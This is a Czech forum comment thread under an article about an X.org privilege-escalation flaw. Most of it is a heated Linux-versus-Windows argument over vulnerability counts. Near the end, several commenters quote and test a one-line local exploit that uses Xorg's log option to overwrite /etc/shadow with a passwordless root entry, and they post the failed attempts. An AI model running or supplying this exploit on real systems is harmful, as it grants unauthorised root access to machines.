Názory k článku
Chyba v X.org umožňuje eskalaci práv na Linuxu i BSD
-
Pamatuju, jak XFree86 v devadesátých letech vypisoval (tuším pomocí direktivy -config) první řádek z /etc/shadow. Ty xka jsou prostě nějaký prokletý.
Ve skutečnosti, dopad je obrovský, ten, kdo nemá SELinux nebo AppArmor (nebo na BSD MAC), musí nutně aktualizovat.
Když si vezmu, kolik adminů razí tezi, že se neaktualizuje, aby se to "nerozbilo", tak si myslím, že se nám jich dost zapotí...
-
peci1Stříbrný podporovatelTreba na spousteni vzdaleneho Matlabu nebo ruznych vizualizaci se to docela hodi - neni nutne po siti prenaset potencialne velka zdrojova data.
-
peci1Stříbrný podporovatel
Nerozumim, asi mi neco unika. Bud si pustim matlab lokalne, a pak taha data po siti (jsou-li primarne ulozena na serveru), nebo ho pustim pres ssh -X a pak bere data z (vice ci mene) lokalniho disku na serveru.
-
peci1Stříbrný podporovatel
Jo, to jsem asi pomotal.
Nicmene jako dalsi priklad, proc mit na serveru Xorg, je treba simulator, ktery ma renderovat pohledy z kamer. Jasne, slo by to asi i bez Xek, ale zrovna ten, co pouzivame, jede na OpenGL a potrebuje Xorg i ke svemu headless behu, aby mohl renderovat (samozrejme dokud staci negraficke vystupy, funguje i bez Xek).
-
-
peci1Stříbrný podporovatel
Tak podle SecurePatterns treba Centos 7 nebo RHEL 7.5. Zadny z tech systemu nemam, tak nemuzu ozkouset.
-
null null (neregistrovaný)
Klasický manažerský bullshit. Jenom hlupák se může ohánět konečným číslem bez toho aby uvedl i okolnosti - zde pokud chceš porovnávat nějakou kvalitu (nevíme jakou), tak jsou to např. závažnosti chyb a jak moc jsou kde chyby vůbec hledány, porovnání s počtem oprav, jejich časovým prodlením + odkaz na zdroj je naprosto nedostatečný. Kdybys měl za sebou alespoň průměrnou vysokou školu, tak by ti pracky upadly vůbec uvést takto zdroj.
Ale věřím že pokud těm dvěma číslům dáš v powerpointu pořádný font a "výstižné" barvy, tak sklidíš uznalý potlesk od stejně inteligentních kolegů.
Jelikož jsi nedodal žádná fakta ale jenom nějaké dvě čísla, tak můžeme vesele spekulovat. Tedy jedno z vysvětlení by taky klidně mohlo být, že zatímco na jednom se poctivě hledají, nahlašují a opravují, na druhém když už se hledají, tak se zrovna exploitují a co je nahlášeno se málodky opraví ... Ale ne že bych chtěl bořit nějaké mýty.
-
Dejte si studený obklad. Na výrok "On má někdo kapacitu denně vypisovat všechny zranitelnosti windowsů?" jsem odpověděl srovnáním počtu objevených zranitelností v pouhém kernelu Linuxu s počtem v celých Windows 10 za minulý rok, který je silně v neprospěch Linuxu. Na rozdíl od naprosté většiny diskutérů jsem také uvedl zdroj. Za mě je to více než adekvátní odpověď.
A vy? Kritizujete že počet objevených chyb není dobrá metrika, a zdroj není uvedený tak jako ve vaší bakalářce. Nic proti, klidně sem dejte lepší data, a klidně zdroje uvádějte v souladu s The Chicago Manual of Style, Seventeenth Edition :). Ale zvykněte si měřit stejným metrem. Pokud se vám nelíbí moje odpověď, mělo se vám ještě daleko méně líbit to, na co jsem odpovídal.
Nakonec k jádru věci. Někteří lidé z IT dělají náboženství. Takoví lidé s klidem řeknou, že Linux je bezpečnější/kvalitnější, a doloží to podle aktuální potřeby BUĎ tím že je v Linuxu objeveno méně zranitelností a tedy je jasně bezpečnější, NEBO tím že je jich objeveno více, takže se jasně chyby víc hledají, nahlašují a opravují. Nejde jim o faktický stav věci, ale o účelové napasování předem daného závěru na dostupné informace. S takovými lidmi je jakákoliv diskuse o ničem. Zatím mě přesvědčujete, že jste přesně z této kategorie.
-
Kdybyste si to přečetl znovu, tak byste možná zjistil, že nejde o čísla domů, ale o počty objevených zranitelností v pouhém kernelu Linuxu s počtem v celých Windows 10 za minulý rok. Jenže...
https://www.youtube.com/watch?v=XDJEPjvbbs4 -
Windows přece také obsahují obrovskou spoustu driverů. A pro kernel Linuxu je také spousta driverů "bokem".
Srovnání jablek s hruškami to je. Na straně Linuxu jde jen o kernel (tj. věc která implementuje cca 300 syscalls), včetně driverů které jsou jeho součástí. Součástí *není* ani glibc, natož utility, systemd, X11/Wayland/Cairo/Clutter/CUPS, Qt/GTK+, KDE/Gnome/Xfce/Unity atd. Přitom v případě Windows jde o kernel, drivery, utility, celý grafický stack a grafický shell (včetně Windows Mixed Reality), vestavěné GUI aplikace, a obrovské Win32/UWP API, které pokrývá všechno od alokace paměti, přes síťové služby, komponentový model, multimédia, rozeznávání písma a machine learning až po hlasové ovládání.
-
Lol Phirae (neregistrovaný)
Neměli byste se radši v Redmondu věnovat svému zkrachovalému 1809 releasu, který maže uživatelské soubory, přepisuje bez ptaní data, rozbil roaming profily, způsobuje BSOD vnucenou instalací aktualizovaných ovladačů, rozbíjí zvuk, po rebootu ztmavuje jas obrazovky na polovinu atd. atd. atd.?
</stop_agitačním_pošukům_MS> -
Nevím proč bych se tomu věnoval já a v Rdmondu, a nevím proč sem taháte zcela nesouvisející téma. Řekl bych, že diskuse stylem "a vy zase mlátíte černochy" je pod vaší úroveň. Bohužel není.
Pokud jde o release 1809, tak tam vím o problému s mazáním uživatelských souborů a problému se ZIP složkami. Ten první problém se projevil u velmi malého procenta uživatelů, například žádný z mých počítačů neměl problém. Ztráta dat je samozřejmě velký problém, a situace je o to horší, že Windows Insiders problém hlásili, ale MS na hlášení nezareagoval. Nicméně je dobré si uvědomit, že chyby typu data loss s vyskytují i na jiných platformách, včetně Linuxu. Launchpad, Ubuntu, "data loss", 293 výsledků. A to jsou jen ty bugy, pro které nebyl uvolněný patch. Když zahrneme New, Confirmed, Triaged, In Progress, Fix Committed a Fix Released, tak je to rovnou 481 výsledků. (data jsou ze 7.10.)
https://bugs.launchpad.net/ubuntu?field.searchtext=%22data+loss%22Navíc 1809 je v technicky upgrade Windows na novou verzi. Upgradoval jste někdy distro? A kolikrát se vám stalo, že jste skončil uprostřed procesu s nebootovatelným strojem, nebo na terminálu s blikajícím kurzorem? Takovou zkušenost bohužel mají uživatelé při upgradu distra nepříjemně často. Nemluvě o situacích, kdy update nebo upgrade distra rozbije zvukovku, síťovou kartu, grafiku, nebo prakticky cokoliv jiného. Takže si přestaňme nalhávat, že Windows jsou jediná platforma, na které se vyskytují problémy.
-
byl jednou jeden Lael Ophir kterej zadal aby ostatni pouzivali stejny metr a tento Lael Ophir jiz ponekolikate demagogicky "pise" to same, presto ze byl jiz pred nekolika sveho copy&paste upozornen...
tebou odkazovany Launchpad obsahuje bugreporty:
- pro vsechny aktualne podporovane vydani 14.04 LTS, 16.04 LTS, 18.04 LTS, 18.10 a to vse v 32 a 64bit
- pro vsechny odnoze/desktopy (Unity, Gnome, KDE, Xfce, LXDE, LXQt, Mate,....)
- pro aplikace jako Firefox, LibreOffice, GIMP, Inkscape, GParted
- pro desetititsice dalsich aplikaci, knihoven, nastroju... (to vse zvlast pro kazde z podporovanych vydani)protoze toto uz minimalne 2x co si kopiroval tento svuj odkaz na launchpad jako dukaz kolik data lost ma Ubuntu vis, jsi bud lhar v kombinaci s demagogem, nebo zamestnanec PR oddeleni Microsoftu, coz je ve vysledku to same
-
Nic z toho, co jste napsal, nijak nemění platnost mého argumentu. Na Ubuntu se prostě také vyskytují chybu typu data loss, a zjevně jich není až tak málo. To se podle vás ty data loss chyby v Ubuntu nemají brát v úvahu, protože zahrnují Gnome i KDE? Nebo protože Canonical zcela dobrovolně zahrnuje do Ubuntu i Gimp? :D To nemůžete myslet vážně.
Takže ještě jednou: "Chyby typu data loss s vyskytují i na jiných platformách, včetně Linuxu." Zkuste si ten výrok přečíst, a jasně se vyjádřit jestli je pravdivý, nebo ne.
-
samozrejme (tedy ne pro zamestnance/externisty PR oddeleni Microsoftu) to platnost meni, ohanis se cislem, v kterem jsou desitky kombinaci verzi a desktopu a desetitisice dalsich na systemu nezavislejch balicku...
do chyb Windows bys take pocitac verze 7, 8.1, 10 (od prvnich po stavajici 1809) v 32bit a 64bit, ve verzich Basic, Home, Pro, Ultimate, Workstation atd?? a pocital bys do toho take chyby vsech aplikaci dostupnnych pres MicrosoftStore? vsech her pro Xbox?
-
M$ pyj-ár úderka ma zas noční šichtu?
Tvoje drzost zřejmě nezná mezí, úplně klidně sem plácneš jakoukoli lež.FYI, co ukazuje graf Total Number Of Vulnerabilities Of Top 50 Products By Vendor na https://www.cvedetails.com/top-50-products.php?year=0 ?
-
BobTheBuilderStříbrný podporovatelŘíká se, že se stářím přichází moudrost. Někdy ale stáří přichází samo.
Když máte dojem, že někde je moc chyb, změňte systém. Určitě se skoro všech těch chyb zbavíte, ovšem narazíte na zcela jiné chyby, které dosud neznáte. Obávám se, že si moc nepomůžete.
Jiná věc je, že uživatele mnohem víc dopalují a trápí chyby typu dánský dialog v českém Outlooku, než nějaký vadný DHCPv6 v systemd-networkd.
https://www.theregister.co.uk/2018/10/26/systemd_dhcpv6_rce/
Jo, třeba díra ve Firefoxu, flashi, Adobe Readeru, to je jiná (ale zase často multiplatformní).
Admini jsou na to jinak, ty zase dánština v dialogu nevzrušuje, ale systemd-networkd by mohl být problém. -
anon (neregistrovaný)
Mas stary Xorg.
Introduced by: https://gitlab.freedesktop.org/xorg/xserver/commit/032b1d79b7d04d47814a5b3a9fdd162249fea74c (1.19.0)
-
v Xubuntu 18.04, take neprojde:
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
/usr/lib/xorg/Xorg.wrap: Only console users are allowed to run the X server
Heslo:
su: Selhání autentizace
soubor /etc/shadow samozrejme to nezmenilopozadavek pro exploit, nastavene root setuid pro Xorg zde proste neni ;-)
ls -l `which Xorg`
-rwxr-xr-x 1 root root 274 zář 5 13:38 /usr/bin/Xorg -
v konzoli take neprojde:
$ cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
(EE)
Fatal server error:
(EE) Cannot move old log file "shadow" to "shadow.old"
(EE)
(EE)
Please consult the The X.Org Foundation support
at http://wiki.x.org
for help.
(EE)
Heslo:
su: Selhání autentizace
shadow beze zmeny...
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1702 říj 17 22:37 /etc/shadowverze Xorg neni nova/zaplatovana:
X.Org X Server 1.19.6
Release Date: 2017-12-20
X Protocol Version 11, Revision 0
Build Operating System: Linux 4.4.0-135-generic x86_64 Ubuntu
Current Operating System: Linux t420s 4.15.0-34-generic #37-Ubuntu SMP Mon Aug 27 15:21:48 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=/dev/mapper/wd-root ro quiet splash net.ifnames=0 intel_iommu=on resume=/dev/wd/swap vt.handoff=1
Build Date: 24 September 2018 01:45:59PM
xorg-server 2:1.19.6-1ubuntu4.1 (For technical support please see http://www.ubuntu.com/support)
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version. -
V Cerne.Hore se pri hymne stoji (neregistrovaný)
Je mi lito Krcmi, ale na Gentoo se mi to zepta
$ cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
(EE)
Fatal server error:
(EE)
Invalid argument -logfile with elevated privileges
(EE)
(EE)
Please consult the The X.Org Foundation support
at http://wiki.x.org
for help.
(EE)
Password:
All animals are equal, but some are less equal.toto nerekl Orwell ...
